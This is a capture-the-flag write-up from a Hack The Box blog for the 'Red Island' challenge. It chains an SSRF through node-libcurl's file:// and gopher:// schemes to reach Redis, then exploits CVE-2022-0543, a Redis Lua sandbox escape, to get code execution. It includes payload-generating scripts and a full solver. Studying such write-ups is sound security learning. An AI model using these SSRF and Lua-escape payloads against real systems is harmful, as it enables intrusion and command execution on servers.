Write-Ups

7 min read

CA CTF 2022: Exploiting Redis Lua Sandbox Escape RCE with SSRF - Red Island

Exploiting Redis Lua Sandbox Escape RCE with SSRF, Rayhan0x01 shares his write-up of Red Island from Cyber Apocalypse CTF 2022.

Rayhan0x01 avatar

Rayhan0x01,
Jun 10
2022

In this write-up, we'll go over the web challenge Red Island, rated as medium difficulty in the Cyber Apocalypse CTF 2022. The solution requires exploiting a Server-Side Request Forgery (SSRF) vulnerability to perform Redis Lua sandbox escape RCE (CVE-2022-0543) with Gopher protocol.

Challenge Description 📄

The Red Island of the glowing sea is a proud tribe of species that can only see red colors. Hence every physical item, picture, and poster on this island is masked with red colors. The Golden Fang army took advantage of the color weakness of the species of Red Island to smuggle illegal goods in and out of the island behind the ministry's back. Without an invitation, it's impossible to get entry to the island. So we need to hack the ministry and send us an invite from the inside to stop the atrocities of Draeger's men on this island. As always, Ulysses, with his excellent recon skills, got us access to one of the portals of the Red Island ministry. Can you gain access to their networks through this portal?

The application at-a-glance 🔍

The application homepage displays a login form and a link to the registration page. Since we don't have an account, we can create an account via the registration page and log in. After logging in, the application redirects to the following dashboard page:

Providing a valid image URL results in a new image that has many of the parts painted in the red color:

The following API request is being sent to the backend upon URL submission:

That is pretty much all the user-accessible features in this web application.

The SSRF with support of a plethora of protocols 🧰

If we submit a link that is not an image, we can see the response body of the visited link resulting in Server-Side Request Forgery:

The webhook.site website is a request logger service that provides a public link and stores and displays any requests made to that public link. If we submit a webhook URL, we can inspect the request headers to identify what initiated the request:

From the request user-agent header, we can confirm the request is initiated by the npm module node-libcurl:

The description states that it supports many protocols such as DICT, FILE, FTP, FTPS, Gopher, HTTP, etc. We can already send requests on behalf of the server with HTTP protocol, so we know the service suffers from Server Side Request Forgery (SSRF). Since node-libcurl also supports the file:// protocol, we can try reading files from the server:

We can then read the file:///proc/self/cmdline file to identify the command executed to start the application:

So an index.js file is being run with NodeJS to start the application server. We can read the file source by specifying the location file:///proc/self/cwd/index.js. After formatting the received output, we can see the contents of the index.js file properly:

const express          = require('express');
const app              = express();
const session          = require('express-session');
const RedisStore       = require("connect-redis")(session)
const path             = require('path');
const cookieParser     = require('cookie-parser');
const nunjucks         = require('nunjucks');
const routes           = require('./routes');
const Database         = require('./database');
const { createClient } = require("redis")
const redisClient      = createClient({ legacyMode: true })
 
const db = new Database('redisland.db');
 
app.use(express.json());
app.use(cookieParser());
 
redisClient.connect().catch(console.error)
 
app.use(
   session({
     store: new RedisStore({ client: redisClient }),
     saveUninitialized: false,
     secret: "r4yh4nb34t5B1gM4c",
     resave: false,
   })
);
 
<snip>

The application uses Redis as session storage. Since no parameters in the redisClient.connect() call was specified, the application connects to the default Redist address 127.0.0.1:6379.

Getting our hands red on Redis 🩸

We know that node-libcurl supports the gopher:// scheme that can communicate with any TCP server and deliver arbitrary data that we specify on the URI. From the RFC documentation, Gopher URL Syntax is described as follows:

So in simple terms, the URL is structured as follows:

We can test this out with a simple Netcat listener and send a Curl request with the Gopher scheme to see how the raw data is received upon TCP connection:

$ curl "gopher://127.0.0.1:1234/_FIRST%20LINE%20OF%20BYTES%0ASECOND%20LINE%20OF%20BYTES"
 
$ nc -nlvp 1234
Listening on 0.0.0.0 1234
Connection received on 127.0.0.1 39820
FIRST LINE OF BYTES
SECOND LINE OF BYTES

Now that we have the means to send TCP packets to any specific port, let’s have a look at the Redis protocol specification to figure out how we can communicate to this service via SSRF:

Redis clients use a protocol called RESP (REdis Serialization Protocol) to communicate with the Redis server. However, it also supports space-separated arguments in a telnet session, which is perfect for our use case. Here is a Python3 script to convert the Redis inline commands to URL-encoded gopher payloads:

redis_cmd = """
INFO
quit
"""
gopherPayload = "gopher://127.0.0.1:6379/_%s" % redis_cmd.replace('\r','').replace('\n','%0D%0A').replace(' ','%20')
 
print(gopherPayload)

The INFO command in Redis returns information and statistics about the server. Running the script produces the following payload:

gopher://127.0.0.1:6379/_%0D%0AINFO%0D%0Aquit%0D%0A

Submitting the above payload as a URL shows the Redis information in response:

# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:636cde3b5c7a3923
redis_mode:standalone
os:Linux 4.19.0-17-amd64 x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.2.1
process_id:10
run_id:576116aae4f6eefd172c1a8b3027fecbb0475e1c
tcp_port:6379
uptime_in_seconds:777
uptime_in_days:0
hz:10
configured_hz:10
lru_clock:8733771
executable:/app/redis-server
config_file:/etc/redis/redis.conf

Searching for exploits related to Redis 5.0.7 leads to CVE-2022-0543 that leverages the Lua library file to break out of the sandbox and gain code execution with Lua functions:

Let's modify our Python3 script to generate the Gopher payload with Redis Lua exploit code:

redis_cmd = """
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
quit
"""
gopherPayload = "gopher://127.0.0.1:6379/_%s" % redis_cmd.replace('\r','').replace('\n','%0D%0A').replace(' ','%20')
 
print(gopherPayload)

Sending the generated payload from the script results in RCE:

Listing all the files in / displays a binary file named readlfag, and executing this file gives us the flag:

Here's the full-chain solver script:

#!/usr/bin/env python3

import re, requests, random, sys

hostURL = 'http://127.0.0.1:1337'               # Challenge host URL
userName = f'rh0x01{random.randint(1,999)}'     # new username
userPwd = f'rh0x01{random.randint(1,999)}'      # new password

def register():
	jData = { 'username': userName, 'password': userPwd }
	req_stat = requests.post(f'{hostURL}/api/register', json=jData).status_code
	if not req_stat == 200:
		print("Something went wrong! Is the challenge host live?")
		sys.exit()

def login():
	sess = requests.Session()
	jData = { 'username': userName, 'password': userPwd }
	authSess = sess.post(f'{hostURL}/api/login', json=jData)
	if authSess.status_code != 200:
		print("Something went wrong while logging in!")
		sys.exit()
	return sess


print('[+] Signing up a new account..')
register()

print('[~] Logging in to acquire session cookie..')
authSession = login()

print('[+] Sending Redis lua exploit payload..')

redis_cmd = """
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("/readflag", "r"); local res = f:read("*a"); f:close(); return res' 0
quit
"""
gopherPayload = "gopher://127.0.0.1:6379/_%s" % redis_cmd.replace('\r','').replace('\n','%0D%0A').replace(' ','%20')

resp = authSession.post(f'{hostURL}/api/red/generate', json={'url': gopherPayload})

flag = re.search('HTB\{(.*?)\}', resp.text)
print(f'[+] Flag: {flag.group(0)}')

And that's a wrap for the write-up of this challenge! The challenge is currently available to play on Hack The Box platform here.

Challenge Unintendeds 💔

  • The www-data user owned the /app directory, allowing the Redis service to overwrite the HTML template files to gain RCE via Nunjucks SSTI. We patched it by setting the owner of the /app directory to root. We also added a readflag binary with SUID permissions and changed the Redis service user from "root" to "redis".

Hack The Blog

The latest news and updates, direct from Hack The Box